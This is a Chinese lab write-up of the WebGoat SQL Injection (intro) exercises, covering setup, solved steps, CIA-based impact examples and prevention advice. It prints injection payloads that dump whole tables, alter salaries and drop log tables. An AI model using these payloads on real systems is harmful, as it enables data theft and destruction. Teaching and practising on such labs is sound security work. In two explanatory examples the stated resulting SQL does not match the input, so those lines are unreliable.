基于 WebGoat 平台的 SQL 注入攻击

                   基于 WebGoat 平台的 SQL 注入攻击

扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211

使用实例参考: https://www.cnblogs.com/hndreamer/p/16635984.html

目录

1、什么是 webgoat?

2、jar 下载

3、环境搭建

4、运行 webgoat

5、在浏览器中登录

6、SQL 注入实验,完成(A1)Injection 系列实验中的 SQL Injection (intro)部分

7、问题思考

1 、举例说明 SQL 注入攻击发生的原因

2、从信息的 CIA 三要素出发,举例说明 SQL 注入攻击造成的破坏

3、怎样预防和避免 SQL 注入攻击。


1、什么是 webgoat?

一个基于 java 常见漏洞的靶场,非常适合初学者学习。

2jar 下载

下载地址:https://github.com/WebGoat/WebGoat/releases

基于 WebGoat 平台的 SQL 注入攻击_第1张图片

这里当靶场用,选 webgoat-server-8.2.2.jar 就够了。webwolf 需要在

webgoat-server-8.2.2.jar 运行的情况下才能正常使用,可以模拟攻击者配合本地

主机对 webgoat 进行攻击。

3、环境搭建

我们需要先安装 java 环境,这里直接进入官网下载即可

https://www.oracle.com/java/technologies/downloads/#jdk18-windows

下载 java jdk 17以上的版本

WIN+R,打开cmd,输入java -version查看电脑中java的版本号

基于 WebGoat 平台的 SQL 注入攻击_第2张图片

4、运行 webgoat

        启 动 非 常 简 单 , 只 需 要 通 过 命 令 行 界 面 ( Dos 界 面 ) 在 保 存有 “webgoat-server-8.2.2.jar文件的所在目录

输入java -jar webgoat-server-8.2.2.jar 即可

java -jar webgoat-server-8.2.2.jar

基于 WebGoat 平台的 SQL 注入攻击_第3张图片

基于 WebGoat 平台的 SQL 注入攻击_第4张图片

默认的登录地址是 http://127.0.0.1:8080/WebGoat,我们可以在命令提示符窗口看到

基于 WebGoat 平台的 SQL 注入攻击_第5张图片

5、在浏览器中登录

浏览器输入:http://127.0.0.1:8080/WebGoat

http://127.0.0.1:8080/WebGoat

基于 WebGoat 平台的 SQL 注入攻击_第6张图片

这里需要用户名和密码,我们直接点击 Register new user 注册一个新用户

 注册完毕后登录

基于 WebGoat 平台的 SQL 注入攻击_第7张图片

6、SQL 注入实验,完成(A1Injection 系列实验中的 SQL Injection (intro)部分

基于 WebGoat 平台的 SQL 注入攻击_第8张图片

 步骤 9 之前用到的 SQL 命令参考如下:

SELECT department FROM employees WHERE first_name='Bob' AND last_name='Franco'
UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'
ALTER TABLE employees ADD phone varchar(20)

尝试将表 grant_rights 的权限授予用户 unauthorized_user:

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user

第九题:

Smith' or '1'='1

基于 WebGoat 平台的 SQL 注入攻击_第9张图片

第十题:

1 
1 or 1=1

基于 WebGoat 平台的 SQL 注入攻击_第10张图片

 基于 WebGoat 平台的 SQL 注入攻击_第11张图片

 第十一题:

name' or '1'='1

基于 WebGoat 平台的 SQL 注入攻击_第12张图片

 第十二题:

基于 WebGoat 平台的 SQL 注入攻击_第13张图片

再根据题目需要注入sql:

name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

基于 WebGoat 平台的 SQL 注入攻击_第14张图片

第十三题:

1';DROP TABLE access_log;--+

基于 WebGoat 平台的 SQL 注入攻击_第15张图片

7、问题思考

1 举例说明 SQL 注入攻击发生的原因

        当来自客户机的未过滤数据(例如来自搜索字段的输入)进入应用程序本身的SQL解释器时,可能会发生SQL注入。如果应用程序不能正确地消毒用户输入(使用准备好的语句或类似的方法)或针对特殊字符对输入进行过滤,黑客就可以操纵底层SQL语句以达到他们的目的。

例如:

从数据库中检索用户信息的SQL查询如下:

"SELECT * FROM users WHERE name = ' " + userName + " ' ";

(1)输入:

Smith' OR '1' = '1

        Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;

        结果将返回users表中的所有条目

(2)输入:

Smith' OR 1 = 1; --

        Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;

        结果与第一个示例一样,它也将返回users表中的所有条目

(3)输入:

Smith'; DROP TABLE users; TRUNCATE audit_log; --

        Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;

        结果将链接多个sql命令,以便同时DROP users表和从audit_log表中删除所有条目

2、从信息的 CIA 三要素出发,举例说明 SQL 注入攻击造成的破坏

(1)CIA三要素的第一项原则是保密性(Confidentiality)保密性是通过什么样的手段可以保护数据、对象、资源机密性的概念,保密性的目的是限制组织未授权用户访问数据。

例如:使用字符串SQL注入损害机密性。

已知这个系统执行请求的查询语句是这样的:

"SELECT * FROM employees WHERE last_name = ' " + name + " ' AND auth_tan = ' " + auth_tan + " ' ";

利用这个系统,破坏保密性查看到所有人的数据信息,可以这样设置sql注入:

基于 WebGoat 平台的 SQL 注入攻击_第16张图片

(2)CIA三要素的第二项原则是完整性(Integrity)完整性用来描述保护数据的可靠性和正确性。完整性保证没有未授权的用户修改数据。

例如:用查询链接破坏完整性。

首先获取表内信息

 基于 WebGoat 平台的 SQL 注入攻击_第17张图片

 再根据需要,使用查询链接破坏完整性,注入sql,将薪资改为9999999

name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

基于 WebGoat 平台的 SQL 注入攻击_第18张图片

(3)CIA三要素的第三项原则是可用性(Availablity)可用性表示可以及时给用户授权,资源的访问不间断。

        违反可用性有许多不同的方法。删除帐户或修改密码后,该帐户的实际所有者将无法再访问该帐户。攻击者还可以尝试删除数据库的部分内容,甚至删除整个数据库,以使数据无法访问。撤销管理员或其他用户的访问权限是降低可用性的另一种方式;这将阻止这些用户访问数据库的特定部分甚至整个数据库。

例如:违反可用性删除日志。

1';DROP TABLE access_log;--+

3、怎样预防和避免 SQL 注入攻击。

        SQL注入攻击可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。  

1、不要使用动态SQL

        避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。

2、不要将敏感数据保留在纯文本中

        加密存储在数据库中的私有/机密数据;这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。

3、限制数据库权限和特权

        将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。

4、避免直接向用户显示数据库错误

        攻击者可以使用这些错误消息来获取有关数据库的信息。

5、使用Web应用程序防火墙(WAF)

        这为面向Web的应用程序提供了保护,它可以帮助识别SQL注入尝试;根据设置,它还可以帮助防止SQL注入尝试到达应用程序(以及数据库)。

6、定期测试与数据库交互的Web应用程序

        这样做可以帮助捕获可能允许SQL注入的新错误或回归。

7、将数据库更新为最新的可用修补程序

        这可以防止攻击者利用旧版本中存在的已知弱点/错误。

你可能感兴趣的:(网络安全,sql,java,数据库,网络安全)